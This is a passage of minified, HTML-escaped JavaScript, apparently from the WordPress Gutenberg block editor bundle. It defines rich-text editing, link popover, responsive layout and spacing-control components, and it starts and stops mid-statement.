%s&quot;),Ke),Le=cr?Ve?.args?.key||gt?.label:(0,Ab.sprintf)((0,Ab.__)(&quot;Empty %s; start writing to edit its value&quot;),Ve?.args?.key||gt?.label);return{disableBoundBlock:cr,bindingsPlaceholder:Ct?.placeholder||te,bindingsLabel:Le}},[ee,k,W,o,j,se]),X=!!se?.[&quot;pattern/overrides&quot;],ne=ee?.__default?.source===&quot;core/pattern-overrides&quot;,ve=P||J||X&amp;&amp;!ne,{getSelectionStart:he,getSelectionEnd:xe,getBlockRootClientId:ze}=(0,Md.useSelect)(_),{selectionChange:ot}=(0,Md.useDispatch)(_),Wt=Cb({allowedFormats:f,disableFormats:C}),fo=!Wt||Wt.length&gt;0,Do=(0,nr.useCallback)((je,Eo)=&gt;{let Ze={},Ve=je===void 0&amp;&amp;Eo===void 0,gt={clientId:j,[k?&quot;attributeKey&quot;:nie]:k||T};if(typeof je==&quot;number&quot;||Ve){if(Eo===void 0&amp;&amp;ze(j)!==ze(xe().clientId))return;Ze.start={...gt,offset:je}}if(typeof Eo==&quot;number&quot;||Ve){if(je===void 0&amp;&amp;ze(j)!==ze(he().clientId))return;Ze.end={...gt,offset:Eo}}ot(Ze)},[j,ze,xe,he,k,T,ot]),{value:rt,getValue:ar,onChange:xt,ref:At,formatTypes:Pe}=LTe({value:o,onChange:r,selectionStart:re,selectionEnd:Q,onSelectionChange:Do,placeholder:K||d,__unstableIsSelected:Y,__unstableDisableFormats:C,preserveWhiteSpace:y,__unstableDependencies:[t],allowedFormats:Wt,withoutInteractiveFormatting:m,__unstableFormatTypeHandlerContext:(0,nr.useMemo)(()=&gt;({richTextIdentifier:k,blockClientId:j}),[k,j])}),wt=qU({onReplace:u,completers:c,record:rt,onChange:xt});_ne({html:o,value:rt});let qo=(0,nr.useRef)(new Set),$t=(0,nr.useRef)(new Set);function lr(){O.current?.focus()}let ln=t;return(0,di.jsxs)(di.Fragment,{children:[Y&amp;&amp;(0,di.jsx)(Pb.Provider,{value:qo,children:(0,di.jsx)(Ob.Provider,{value:$t,children:(0,di.jsxs)(aie.Popover.__unstableSlotNameProvider,{value:&quot;__unstable-block-tools-after&quot;,children:[e&amp;&amp;e({value:rt,onChange:xt,onFocus:lr}),(0,di.jsx)(nP,{value:rt,onChange:xt,onFocus:lr,formatTypes:Pe,forwardedRef:O})]})})}),Y&amp;&amp;fo&amp;&amp;(0,di.jsx)(yne,{inline:s,editableContentElement:D}),(0,di.jsx)(ln,{role:&quot;textbox&quot;,&quot;aria-multiline&quot;:!B,&quot;aria-readonly&quot;:ve,...E,draggable:void 0,&quot;aria-label&quot;:H||E[&quot;aria-label&quot;]||d,...wt,ref:(0,lP.useMergeRefs)([At,L,wt.ref,E.ref,tP({registry:ce,getValue:ar,onChange:xt,__unstableAllowPrefixTransformations:I,formatTypes:Pe,onReplace:u,selectionChange:ot,isSelected:Y,disableFormats:C,value:rt,tagName:t,onSplit:g,__unstableEmbedURLOnPaste:x,pastePlainText:S,onMerge:p,onRemove:h,disableLineBreaks:B,onSplitAtEnd:b,onSplitAtDoubleLineEnd:v,keyboardShortcuts:qo,inputEvents:$t}),O,U]),contentEditable:!ve,suppressContentEditableWarning:!0,className:V(&quot;block-editor-rich-text__editable&quot;,E.className,&quot;rich-text&quot;),tabIndex:E.tabIndex===0&amp;&amp;!ve?null:E.tabIndex,&quot;data-wp-block-attribute-key&quot;:k})]})}var r_=tie((0,nr.forwardRef)(sP));r_.Content=o_;r_.isEmpty=e=&gt;!e||e.length===0;var TF=(0,nr.forwardRef)((e,t)=&gt;{if(Ie()[d0]){let{children:n,tagName:i=&quot;div&quot;,value:s,onChange:a,isSelected:c,multiline:u,inlineToolbar:d,wrapperClassName:f,autocompleters:m,onReplace:h,placeholder:p,allowedFormats:g,withoutInteractiveFormatting:b,onRemove:v,onMerge:k,onSplit:y,__unstableOnSplitAtEnd:S,__unstableOnSplitAtDoubleLineEnd:x,identifier:C,preserveWhiteSpace:B,__unstablePastePlainText:I,__unstableEmbedURLOnPaste:P,__unstableDisableFormats:E,disableLineBreaks:L,__unstableAllowPrefixTransformations:T,readOnly:O,...D}=uie(e);return(0,di.jsx)(i,{ref:t,...D,dangerouslySetInnerHTML:{__html:SF(s,u)||&quot;&lt;br&gt;&quot;}})}return(0,di.jsx)(r_,{ref:t,...e,readOnly:!1})});TF.Content=o_;TF.isEmpty=e=&gt;!e||e.length===0;var Eb=TF;var IF=l(w(),1),fie=(0,die.forwardRef)((e,t)=&gt;(0,IF.jsx)(Eb,{ref:t,...e,__unstableDisableFormats:!0}));fie.Content=function({value:t=&quot;&quot;,tagName:o=&quot;div&quot;,...r}){return(0,IF.jsx)(o,{...r,children:t})};var mie=fie;var PF=l(w(),1),NTe=(0,hie.forwardRef)(({__experimentalVersion:e,...t},o)=&gt;{if(e===2)return(0,PF.jsx)(mie,{ref:o,...t});let{className:r,onChange:n,...i}=t;return(0,PF.jsx)(pie.default,{ref:o,className:V(&quot;block-editor-plain-text&quot;,r),onChange:s=&gt;n(s.target.value),...i})}),gie=NTe;var $a=l(N(),1),vie=l(R(),1),yie=l(A(),1);var bie=l(Z(),1),kie=l(A(),1),cP=l(N(),1),tp=l(w(),1);function uP({property:e,viewport:t,desc:o}){let r=(0,bie.useInstanceId)(uP),n=o||(0,cP.sprintf)((0,cP._x)(&quot;Controls the %1$s property for %2$s viewports.&quot;,&quot;Text labelling a interface as controlling a given layout property (eg: margin) for a given screen size.&quot;),e,t.label);return(0,tp.jsxs)(tp.Fragment,{children:[(0,tp.jsx)(&quot;span&quot;,{&quot;aria-describedby&quot;:`rbc-desc-${r}`,children:t.label}),(0,tp.jsx)(kie.VisuallyHidden,{as:&quot;span&quot;,id:`rbc-desc-${r}`,children:n})]})}var Ka=l(w(),1);function MTe(e){let{title:t,property:o,toggleLabel:r,onIsResponsiveChange:n,renderDefaultControl:i,renderResponsiveControls:s,isResponsive:a=!1,defaultLabel:c={id:&quot;all&quot;,label:(0,$a._x)(&quot;All&quot;,&quot;screen sizes&quot;)},viewports:u=[{id:&quot;small&quot;,label:(0,$a.__)(&quot;Small screens&quot;)},{id:&quot;medium&quot;,label:(0,$a.__)(&quot;Medium screens&quot;)},{id:&quot;large&quot;,label:(0,$a.__)(&quot;Large screens&quot;)}]}=e;if(!t||!o||!i)return null;let d=r||(0,$a.sprintf)((0,$a.__)(&quot;Use the same %s on all screen sizes.&quot;),o),f=(0,$a.__)(&quot;Choose whether to use the same value for all screen sizes or a unique value for each screen size.&quot;),m=i((0,Ka.jsx)(uP,{property:o,viewport:c}),c),h=()=&gt;u.map(p=&gt;(0,Ka.jsx)(vie.Fragment,{children:i((0,Ka.jsx)(uP,{property:o,viewport:p}),p)},p.id));return(0,Ka.jsxs)(&quot;fieldset&quot;,{className:&quot;block-editor-responsive-block-control&quot;,children:[(0,Ka.jsx)(&quot;legend&quot;,{className:&quot;block-editor-responsive-block-control__title&quot;,children:t}),(0,Ka.jsxs)(&quot;div&quot;,{className:&quot;block-editor-responsive-block-control__inner&quot;,children:[(0,Ka.jsx)(yie.ToggleControl,{className:&quot;block-editor-responsive-block-control__toggle&quot;,label:d,checked:!a,onChange:n,help:f}),(0,Ka.jsxs)(&quot;div&quot;,{className:V(&quot;block-editor-responsive-block-control__group&quot;,{&quot;is-responsive&quot;:a}),children:[!a&amp;&amp;m,a&amp;&amp;(s?s(u):h())]})]})]})}var Sie=MTe;var dP=l(A(),1);var _ie=l(w(),1);function xie({units:e,...t}){let[o]=me(&quot;spacing.units&quot;),r=(0,dP.__experimentalUseCustomUnits)({availableUnits:o||[&quot;%&quot;,&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;,&quot;vw&quot;],units:e});return(0,_ie.jsx)(dP.__experimentalUnitControl,{units:r,...t})}var n_=l(N(),1),wie=l(R(),1),Lb=l(A(),1);var Ya=l(w(),1);function DTe({url:e,onChange:t}){let[o,r]=(0,wie.useReducer)(i=&gt;!i,!1),n=i=&gt;{i.preventDefault(),r()};return(0,Ya.jsxs)(&quot;div&quot;,{className:&quot;block-editor-url-input__button&quot;,children:[(0,Ya.jsx)(Lb.Button,{size:&quot;compact&quot;,icon:fn,label:e?(0,n_.__)(&quot;Edit link&quot;):(0,n_.__)(&quot;Insert link&quot;),onClick:r,className:&quot;components-toolbar__control&quot;,isPressed:!!e}),o&amp;&amp;(0,Ya.jsx)(&quot;form&quot;,{className:&quot;block-editor-url-input__button-modal&quot;,onSubmit:n,children:(0,Ya.jsxs)(&quot;div&quot;,{className:&quot;block-editor-url-input__button-modal-line&quot;,children:[(0,Ya.jsx)(Lb.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-url-input__back&quot;,icon:Xk,label:(0,n_.__)(&quot;Close&quot;),onClick:r}),(0,Ya.jsx)(Td,{value:e||&quot;&quot;,onChange:t,suffix:(0,Ya.jsx)(Lb.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,Ya.jsx)(Lb.Button,{size:&quot;small&quot;,icon:bl,label:(0,n_.__)(&quot;Submit&quot;),type:&quot;submit&quot;})})})]})})]})}var Cie=DTe;var In=l(N(),1),rs=l(R(),1),Pie=l(Fe(),1),Ho=l(A(),1);var Rie=l(dn(),1);var yt=l(w(),1),RF=&quot;none&quot;,Bie=&quot;custom&quot;,Eie=&quot;media&quot;,Tie=&quot;attachment&quot;,Iie=[&quot;noreferrer&quot;,&quot;noopener&quot;],Oie=({linkDestination:e,onChangeUrl:t,url:o,mediaType:r=&quot;image&quot;,mediaUrl:n,mediaLink:i,linkTarget:s,linkClass:a,rel:c,showLightboxSetting:u,lightboxEnabled:d,onSetLightbox:f,resetLightbox:m})=&gt;{let[h,p]=(0,rs.useState)(!1),[g,b]=(0,rs.useState)(null),v=()=&gt;{p(!0)},[k,y]=(0,rs.useState)(!1),[S,x]=(0,rs.useState)(null),C=(0,rs.useRef)(null),B=(0,rs.useRef)();(0,rs.useEffect)(()=&gt;{if(!B.current)return;(Pie.focus.focusable.find(B.current)[0]||B.current).focus()},[k,o,d]);let I=()=&gt;{(e===Eie||e===Tie)&amp;&amp;x(&quot;&quot;),y(!0)},P=()=&gt;{y(!1)},E=()=&gt;{x(null),P(),p(!1)},L=Y=&gt;{let J=Y?&quot;_blank&quot;:void 0,K;if(J){let H=(c??&quot;&quot;).split(&quot; &quot;);Iie.forEach(X=&gt;{H.includes(X)||H.push(X)}),K=H.join(&quot; &quot;)}else{let H=(c??&quot;&quot;).split(&quot; &quot;).filter(X=&gt;Iie.includes(X)===!1);K=H.length?H.join(&quot; &quot;):void 0}return{linkTarget:J,rel:K}},T=()=&gt;Y=&gt;{let J=C.current;J&amp;&amp;J.contains(Y.target)||(p(!1),x(null),P())},O=()=&gt;Y=&gt;{if(S){let J=U().find(K=&gt;K.url===S)?.linkDestination||Bie;t({href:(0,Rie.prependHTTPS)(S),linkDestination:J,lightbox:{enabled:!1}})}P(),x(null),Y.preventDefault()},D=()=&gt;{t({linkDestination:RF,href:&quot;&quot;})},U=()=&gt;{let Y=[{linkDestination:Eie,title:(0,In.__)(&quot;Link to image file&quot;),url:r===&quot;image&quot;?n:void 0,icon:iv}];return r===&quot;image&quot;&amp;&amp;i&amp;&amp;Y.push({linkDestination:Tie,title:(0,In.__)(&quot;Link to attachment page&quot;),url:r===&quot;image&quot;?i:void 0,icon:kl}),Y},G=Y=&gt;{let J=U(),K;Y?K=(J.find(H=&gt;H.url===Y)||{linkDestination:Bie}).linkDestination:K=RF,t({linkDestination:K,href:Y})},j=Y=&gt;{let J=L(Y);t(J)},z=Y=&gt;{t({rel:Y})},W=Y=&gt;{t({linkClass:Y})},ee=(0,yt.jsxs)(Ho.__experimentalVStack,{spacing:&quot;3&quot;,children:[(0,yt.jsx)(Ho.ToggleControl,{label:(0,In.__)(&quot;Open in new tab&quot;),onChange:j,checked:s===&quot;_blank&quot;}),(0,yt.jsx)(Ho.TextControl,{__next40pxDefaultSize:!0,label:(0,In.__)(&quot;Link relation&quot;),value:c??&quot;&quot;,onChange:z,help:(0,rs.createInterpolateElement)((0,In.__)(&quot;The &lt;a&gt;Link Relation&lt;/a&gt; attribute defines the relationship between a linked resource and the current document.&quot;),{a:(0,yt.jsx)(Ho.ExternalLink,{href:&quot;https://developer.mozilla.org/docs/Web/HTML/Attributes/rel&quot;})})}),(0,yt.jsx)(Ho.TextControl,{__next40pxDefaultSize:!0,label:(0,In.__)(&quot;Link CSS class&quot;),value:a||&quot;&quot;,onChange:W})]}),se=S!==null?S:o,ce=!d||d&amp;&amp;!u,ie=!se&amp;&amp;ce,re=(U().find(Y=&gt;Y.linkDestination===e)||{}).title,Q=()=&gt;{if(d&amp;&amp;u&amp;&amp;!o&amp;&amp;!k)return(0,yt.jsxs)(&quot;div&quot;,{className:&quot;block-editor-url-popover__expand-on-click&quot;,children:[(0,yt.jsx)(we,{icon:mx}),(0,yt.jsxs)(&quot;div&quot;,{className:&quot;text&quot;,children:[(0,yt.jsx)(&quot;p&quot;,{children:(0,In.__)(&quot;Enlarge on click&quot;)}),(0,yt.jsx)(&quot;p&quot;,{className:&quot;description&quot;,children:(0,In.__)(&quot;Scales the image with a lightbox effect&quot;)})]}),(0,yt.jsx)(Ho.Button,{icon:Ci,label:(0,In.__)(&quot;Disable enlarge on click&quot;),onClick:()=&gt;{f?.(!1)},size:&quot;compact&quot;})]});if(!o||k)return(0,yt.jsx)(Ad.LinkEditor,{className:&quot;block-editor-format-toolbar__link-container-content&quot;,value:se,onChangeInputValue:x,onSubmit:O(),autocompleteRef:C});if(o&amp;&amp;!k)return(0,yt.jsxs)(yt.Fragment,{children:[(0,yt.jsx)(Ad.LinkViewer,{className:&quot;block-editor-format-toolbar__link-container-content&quot;,url:o,onEditLinkClick:I,urlLabel:re}),(0,yt.jsx)(Ho.Button,{icon:Ci,label:(0,In.__)(&quot;Remove link&quot;),onClick:()=&gt;{D(),m?.()},size:&quot;compact&quot;})]})};return(0,yt.jsxs)(yt.Fragment,{children:[(0,yt.jsx)(Ho.ToolbarButton,{icon:fn,className:&quot;components-toolbar__control&quot;,label:(0,In.__)(&quot;Link&quot;),&quot;aria-expanded&quot;:h,onClick:v,ref:b,isActive:!!o||d&amp;&amp;u}),h&amp;&amp;(0,yt.jsx)(Ad,{ref:B,anchor:g,onFocusOutside:T(),onClose:E,renderSettings:ce?()=&gt;ee:null,additionalControls:ie&amp;&amp;(0,yt.jsxs)(Ho.NavigableMenu,{children:[U().map(Y=&gt;(0,yt.jsx)(Ho.MenuItem,{icon:Y.icon,iconPosition:&quot;left&quot;,onClick:()=&gt;{x(null),G(Y.url),P()},children:Y.title},Y.linkDestination)),u&amp;&amp;(0,yt.jsx)(Ho.MenuItem,{className:&quot;block-editor-url-popover__expand-on-click&quot;,icon:mx,info:(0,In.__)(&quot;Scale the image with a lightbox effect.&quot;),iconPosition:&quot;left&quot;,onClick:()=&gt;{x(null),t({linkDestination:RF,href:&quot;&quot;}),f?.(!0),P()},children:(0,In.__)(&quot;Enlarge on click&quot;)},&quot;expand-on-click&quot;)]}),offset:13,children:Q()})]})};var Mb=l(A(),1),$ie=l(R(),1),pP=l(N(),1);var Aie=l(R(),1),AF=l(N(),1);var OF=[],VTe=new Intl.Collator(&quot;und&quot;,{numeric:!0}).compare;function fP(){let[e,t,o,r]=me(&quot;spacing.spacingSizes.custom&quot;,&quot;spacing.spacingSizes.theme&quot;,&quot;spacing.spacingSizes.default&quot;,&quot;spacing.defaultSpacingSizes&quot;),n=e??OF,i=t??OF,s=o&amp;&amp;r!==!1?o:OF;return(0,Aie.useMemo)(()=&gt;{let a=[{name:(0,AF.__)(&quot;None&quot;),slug:&quot;0&quot;,size:0},...n,...i,...s];return a.every(({slug:c})=&gt;/^[0-9]/.test(c))&amp;&amp;a.sort((c,u)=&gt;VTe(c.slug,u.slug)),a.length&gt;XU?[{name:(0,AF.__)(&quot;Default&quot;),slug:&quot;default&quot;,size:void 0},...a]:a},[n,i,s])}var Lie=l(R(),1),Nie=l(F(),1),mP=l(N(),1),Mie=l(A(),1);var Die=l(w(),1),FTe={px:{max:300,steps:1},&quot;%&quot;:{max:100,steps:1},vw:{max:100,steps:1},vh:{max:100,steps:1},em:{max:10,steps:.1},rm:{max:10,steps:.1},svw:{max:100,steps:1},lvw:{max:100,steps:1},dvw:{max:100,steps:1},svh:{max:100,steps:1},lvh:{max:100,steps:1},dvh:{max:100,steps:1},vi:{max:100,steps:1},svi:{max:100,steps:1},lvi:{max:100,steps:1},dvi:{max:100,steps:1},vb:{max:100,steps:1},svb:{max:100,steps:1},lvb:{max:100,steps:1},dvb:{max:100,steps:1},vmin:{max:100,steps:1},svmin:{max:100,steps:1},lvmin:{max:100,steps:1},dvmin:{max:100,steps:1},vmax:{max:100,steps:1},svmax:{max:100,steps:1},lvmax:{max:100,steps:1},dvmax:{max:100,steps:1}};function Nb({icon:e,isMixed:t=!1,minimumCustomValue:o,onChange:r,onMouseOut:n,onMouseOver:i,showSideInLabel:s=!0,side:a,spacingSizes:c,type:u,value:d,...f}){let m=(0,Nie.useSelect)(S=&gt;S(_).getSettings()?.disableCustomSpacingSizes),[h]=me(&quot;spacing.units&quot;),p=(0,Mie.__experimentalUseCustomUnits)({availableUnits:h||[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;]}),g=(0,Lie.useMemo)(()=&gt;c?.map(S=&gt;({name:S.name,slug:S.slug,size:S.size}))||[],[c]),b=(Su.includes(a)||[&quot;vertical&quot;,&quot;horizontal&quot;].includes(a))&amp;&amp;s?ha[a]:&quot;&quot;,v=s?u?.toLowerCase():u,k=(0,mP.sprintf)((0,mP._x)(&quot;%1$s %2$s&quot;,&quot;spacing&quot;),b,v).trim(),y=p[0]?.value||&quot;px&quot;;return(0,Die.jsx)(jm,{allowNegativeOnDrag:o&lt;0,ariaLabel:k,className:&quot;spacing-sizes-control&quot;,customValueSettings:FTe,disableCustomValues:m,icon:e,isMixed:t,minimumCustomValue:o,onChange:r,onMouseOut:n,onMouseOver:i,presets:g,presetType:&quot;spacing&quot;,selectedUnit:y,units:p,value:d,...f})}var i_=l(w(),1),Vie=[&quot;vertical&quot;,&quot;horizontal&quot;];function Fie({minimumCustomValue:e,onChange:t,onMouseOut:o,onMouseOver:r,sides:n,spacingSizes:i,type:s,values:a}){let c=d=&gt;f=&gt;{if(!t)return;let m={...Object.keys(a).reduce((h,p)=&gt;(h[p]=sh(a[p],i),h),{})};d===&quot;vertical&quot;&amp;&amp;(m.top=f,m.bottom=f),d===&quot;horizontal&quot;&amp;&amp;(m.left=f,m.right=f),t(m)},u=n?.length?Vie.filter(d=&gt;_M(n,d)):Vie;return(0,i_.jsx)(i_.Fragment,{children:u.map(d=&gt;{let f=d===&quot;vertical&quot;?a.top:a.left;return(0,i_.jsx)(Nb,{icon:rC[d],label:ha[d],minimumCustomValue:e,onChange:c(d),onMouseOut:o,onMouseOver:r,side:d,spacingSizes:i,type:s,value:f,withInputField:!1},`spacing-sizes-control-${d}`)})})}var s_=l(w(),1);function zie({minimumCustomValue:e,onChange:t,onMouseOut:o,onMouseOver:r,sides:n,spacingSizes:i,type:s,values:a}){let c=n?.length?Su.filter(d=&gt;n.includes(d)):Su,u=d=&gt;f=&gt;{let m={...Object.keys(a).reduce((h,p)=&gt;(h[p]=sh(a[p],i),h),{})};m[d]=f,t(m)};return(0,s_.jsx)(s_.Fragment,{children:c.map(d=&gt;(0,s_.jsx)(Nb,{icon:rC[d],label:ha[d],minimumCustomValue:e,onChange:u(d),onMouseOut:o,onMouseOver:r,side:d,spacingSizes:i,type:s,value:a[d],withInputField:!1},`spacing-sizes-control-${d}`))})}var jie=l(w(),1);function Uie({minimumCustomValue:e,onChange:t,onMouseOut:o,onMouseOver:r,showSideInLabel:n,side:i,spacingSizes:s,type:a,values:c}){let u=d=&gt;f=&gt;{let m={...Object.keys(c).reduce((h,p)=&gt;(h[p]=sh(c[p],s),h),{})};m[d]=f,t(m)};return(0,jie.jsx)(Nb,{label:ha[i],minimumCustomValue:e,onChange:u(i),onMouseOut:o,onMouseOver:r,showSideInLabel:n,side:i,spacingSizes:s,type:a,value:c[i],withInputField:!1})}var Hie=l(A(),1);var LF=l(N(),1),Gie=l(w(),1);function Wie({isLinked:e,...t}){let o=e?(0,LF.__)(&quot;Unlink sides&quot;):(0,LF.__)(&quot;Link sides&quot;);return(0,Gie.jsx)(Hie.Button,{...t,size:&quot;small&quot;,icon:e?fn:Ci,iconSize:24,label:o})}var qa=l(w(),1);function Db({inputProps:e,label:t,minimumCustomValue:o=0,onChange:r,onMouseOut:n,onMouseOver:i,showSideInLabel:s=!0,sides:a=Su,useSelect:c,values:u}){let d=fP(),f=u||QU,m=a?.length===1,h=a?.includes(&quot;horizontal&quot;)&amp;&amp;a?.includes(&quot;vertical&quot;)&amp;&amp;a?.length===2,[p,g]=(0,$ie.useState)(eH(f,a)),b=()=&gt;{g(p===Cl.axial?Cl.custom:Cl.axial)},k={...e,minimumCustomValue:o,onChange:C=&gt;{let B={...u,...C};r(B)},onMouseOut:n,onMouseOver:i,sides:a,spacingSizes:d,type:t,useSelect:c,values:f},y=()=&gt;p===Cl.axial?(0,qa.jsx)(Fie,{...k}):p===Cl.custom?(0,qa.jsx)(zie,{...k}):(0,qa.jsx)(Uie,{side:p,...k,showSideInLabel:s}),S=Su.includes(p)&amp;&amp;s?ha[p]:&quot;&quot;,x=(0,pP.sprintf)((0,pP._x)(&quot;%1$s %2$s&quot;,&quot;spacing&quot;),t,S).trim();return(0,qa.jsxs)(&quot;fieldset&quot;,{className:&quot;spacing-sizes-control&quot;,children:[(0,qa.jsxs)(Mb.__experimentalHStack,{className:&quot;spacing-sizes-control__header&quot;,children:[(0,qa.jsx)(Mb.BaseControl.VisualLabel,{as:&quot;legend&quot;,className:&quot;spacing-sizes-control__label&quot;,children:x}),!m&amp;&amp;!h&amp;&amp;(0,qa.jsx)(Wie,{label:t,onClick:b,isLinked:p===Cl.axial})]}),(0,qa.jsx)(Mb.__experimentalVStack,{spacing:.5,children:y()})]})}var Kie=l(Re(),1);function Yie(){return(0,Kie.default)(&quot;wp.blockEditor.PreviewOptions&quot;,{version:&quot;6.5&quot;}),null}var hP=l(R(),1);function qie(e){let[t,o]=(0,hP.useState)(window.innerWidth);(0,hP.useEffect)(()=&gt;{if(e===&quot;Desktop&quot;)return;let i=()=&gt;o(window.innerWidth);return window.addEventListener(&quot;resize&quot;,i),()=&gt;{window.removeEventListener(&quot;resize&quot;,i)}},[e]);let r=i=&gt;{let s;switch(i){case&quot;Tablet&quot;:s=781;break;case&quot;Mobile&quot;:s=479;break;default:return null}return s&lt;t?s:t};return(i=&gt;{let s=i===&quot;Mobile&quot;?&quot;768px&quot;:&quot;1024px&quot;,a=&quot;40px&quot;,c=&quot;auto&quot;;switch(i){case&quot;Tablet&quot;:case&quot;Mobile&quot;:return{width:r(i),marginTop:a,marginBottom:a,marginLeft:c,marginRight:c,height:s,overflowY:&quot;auto&quot;};default:return{marginLeft:c,marginRight:c}}})(e)}var tk=l(N(),1),zd=l($(),1),zae=l(A(),1),n4=l(F(),1),jae=l(R(),1);var Vb=l(A(),1),gP=l(N(),1),Zie=l(F(),1),bP=l($(),1);var op=l(w(),1);function zTe({block:e,onNavigateToEntityRecord:t,isSyncedPattern:o,isTemplatePartBlock:r}){let n=e?.attributes||{};return(0,op.jsx)(Vb.__experimentalVStack,{className:&quot;block-editor-block-inspector-edit-contents&quot;,expanded:!0,children:(0,op.jsx)(Vb.Button,{className:&quot;block-editor-block-inspector-edit-contents__button&quot;,__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;{if(o)t({postId:n.ref,postType:&quot;wp_block&quot;});else if(r){let{theme:s,slug:a}=n,c=s&amp;&amp;a?`${s}//${a}`:null;c&amp;&amp;t({postId:c,postType:&quot;wp_template_part&quot;})}},children:(0,gP.__)(&quot;Edit original&quot;)})})}function jTe({clientId:e,editedContentOnlySection:t,editContentOnlySection:o,stopEditingContentOnlySection:r}){return(0,op.jsx)(Vb.__experimentalVStack,{className:&quot;block-editor-block-inspector-edit-contents&quot;,expanded:!0,children:(0,op.jsx)(Vb.Button,{className:&quot;block-editor-block-inspector-edit-contents__button&quot;,__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;{t?r():o(e)},children:t?(0,gP.__)(&quot;Exit pattern&quot;):(0,gP.__)(&quot;Edit pattern&quot;)})})}function Xie({clientId:e}){let{isWithinSection:t,isWithinEditedSection:o,editedContentOnlySection:r,editContentOnlySection:n,stopEditingContentOnlySection:i}=aT(e),{block:s,onNavigateToEntityRecord:a,canEdit:c}=(0,Zie.useSelect)(m=&gt;{let{getBlock:h,getSettings:p,canEditBlock:g}=m(_);return{block:h(e),onNavigateToEntityRecord:p().onNavigateToEntityRecord,canEdit:g(e)}},[e]);if(!c||!t&amp;&amp;!o)return null;let u=(0,bP.isReusableBlock)(s),d=(0,bP.isTemplatePart)(s);return(u||d)&amp;&amp;a?(0,op.jsx)(zTe,{block:s,onNavigateToEntityRecord:a,isSyncedPattern:u,isTemplatePartBlock:d}):(0,op.jsx)(jTe,{clientId:e,editedContentOnlySection:r,editContentOnlySection:n,stopEditingContentOnlySection:i})}var Qie=l(F(),1),Jie=l(N(),1),ese=l(A(),1),tse=l(R(),1);var ose=l(w(),1);function kP(){let e=(0,Qie.useSelect)(r=&gt;r(_).getBlockSelectionStart(),[]),t=(0,tse.useRef)();return $f(e,t),e?(0,ose.jsx)(ese.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,className:&quot;block-editor-skip-to-selected-block&quot;,onClick:()=&gt;{t.current?.focus()},children:(0,Jie.__)(&quot;Skip to the selected block&quot;)}):null}var vP=l(N(),1),rse=l(F(),1);var nse=l(A(),1);var a_=l(w(),1);function NF(){let e=(0,rse.useSelect)(t=&gt;t(_).getSelectedBlockCount(),[]);return(0,a_.jsxs)(nse.__experimentalHStack,{justify:&quot;flex-start&quot;,spacing:2,className:&quot;block-editor-multi-selection-inspector__card&quot;,children:[(0,a_.jsx)(Ae,{icon:Cf,showColors:!0}),(0,a_.jsx)(&quot;div&quot;,{className:&quot;block-editor-multi-selection-inspector__card-title&quot;,children:(0,vP.sprintf)((0,vP._n)(&quot;%d Block&quot;,&quot;%d Blocks&quot;,e),e)})]})}var ek=l(A(),1),oa=l(R(),1),Aae=l(Zp(),1),Jb=l(F(),1);var l_=l(N(),1),yP={name:&quot;settings&quot;,title:(0,l_.__)(&quot;Settings&quot;),value:&quot;settings&quot;,icon:oA},SP={name:&quot;styles&quot;,title:(0,l_.__)(&quot;Styles&quot;),value:&quot;styles&quot;,icon:kN},_P={name:&quot;content&quot;,title:(0,l_.__)(&quot;Content&quot;),value:&quot;content&quot;,icon:kl},yc={name:&quot;list&quot;,title:(0,l_.__)(&quot;List View&quot;),value:&quot;list-view&quot;,icon:sv};var BP=l(A(),1);var c_=l(A(),1),ise=l(N(),1);var u_=l(w(),1),UTe=({initialOpen:e=!1})=&gt;{let t=(0,c_.__experimentalUseSlotFills)(rd.slotName),o=(0,c_.__experimentalUseSlotFills)(sS.name),r=!!(t&amp;&amp;t.length),n=!!(o&amp;&amp;o.length);return!r&amp;&amp;!n?null:(0,u_.jsxs)(c_.PanelBody,{className:&quot;block-editor-block-inspector__advanced&quot;,title:(0,ise.__)(&quot;Advanced&quot;),initialOpen:e,children:[(0,u_.jsx)(fe.Slot,{group:&quot;advanced&quot;}),(0,u_.jsx)(sS.Slot,{})]})},xP=UTe;var Fb=l(A(),1),wP=l(F(),1),MF=l(N(),1);var d_=l(w(),1),HTe=()=&gt;{let{selectedClientIds:e,selectedBlocks:t,hasPositionAttribute:o}=(0,wP.useSelect)(s=&gt;{let{getBlocksByClientId:a,getSelectedBlockClientIds:c}=s(_),u=c(),d=a(u);return{selectedClientIds:u,selectedBlocks:d,hasPositionAttribute:d?.some(({attributes:f})=&gt;!!f?.style?.position?.type)}},[]),{updateBlockAttributes:r}=(0,wP.useDispatch)(_),n=Ro();function i(){if(!e?.length||!t?.length)return;let s=Object.fromEntries(t?.map(({clientId:a,attributes:c})=&gt;[a,{style:Me({...c?.style,position:{...c?.style?.position,type:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0}})}]));r(e,s,!0)}return(0,d_.jsx)(Fb.__experimentalToolsPanel,{className:&quot;block-editor-block-inspector__position&quot;,label:(0,MF.__)(&quot;Position&quot;),resetAll:i,dropdownMenuProps:n,children:(0,d_.jsx)(Fb.__experimentalToolsPanelItem,{isShownByDefault:o,label:(0,MF.__)(&quot;Position&quot;),hasValue:()=&gt;o,onDeselect:i,children:(0,d_.jsx)(fe.Slot,{group:&quot;position&quot;})})})},GTe=()=&gt;{let e=(0,Fb.__experimentalUseSlotFills)(Wi.position.name);return!(e&amp;&amp;e.length)?null:(0,d_.jsx)(HTe,{})},CP=GTe;var Za=l(w(),1),WTe=({showAdvancedControls:e=!1})=&gt;{let t=(0,BP.__experimentalUseSlotFills)(Wi.default.name),o=(0,BP.__experimentalUseSlotFills)(Wi.position.name),r=(0,BP.__experimentalUseSlotFills)(Wi.bindings.name),n=!!t?.length||!!o?.length||!!r?.length;return(0,Za.jsxs)(Za.Fragment,{children:[(0,Za.jsx)(fe.Slot,{}),(0,Za.jsx)(CP,{}),(0,Za.jsx)(fe.Slot,{group:&quot;bindings&quot;}),e&amp;&amp;(0,Za.jsx)(&quot;div&quot;,{children:(0,Za.jsx)(xP,{initialOpen:!n})})]})},sse=WTe;var Xb=l(N(),1),m2=l(F(),1);var y_=l($(),1),$F=l(A(),1),Zb=l(R(),1),uae=l(ut(),1),dae=l(F(),1);var 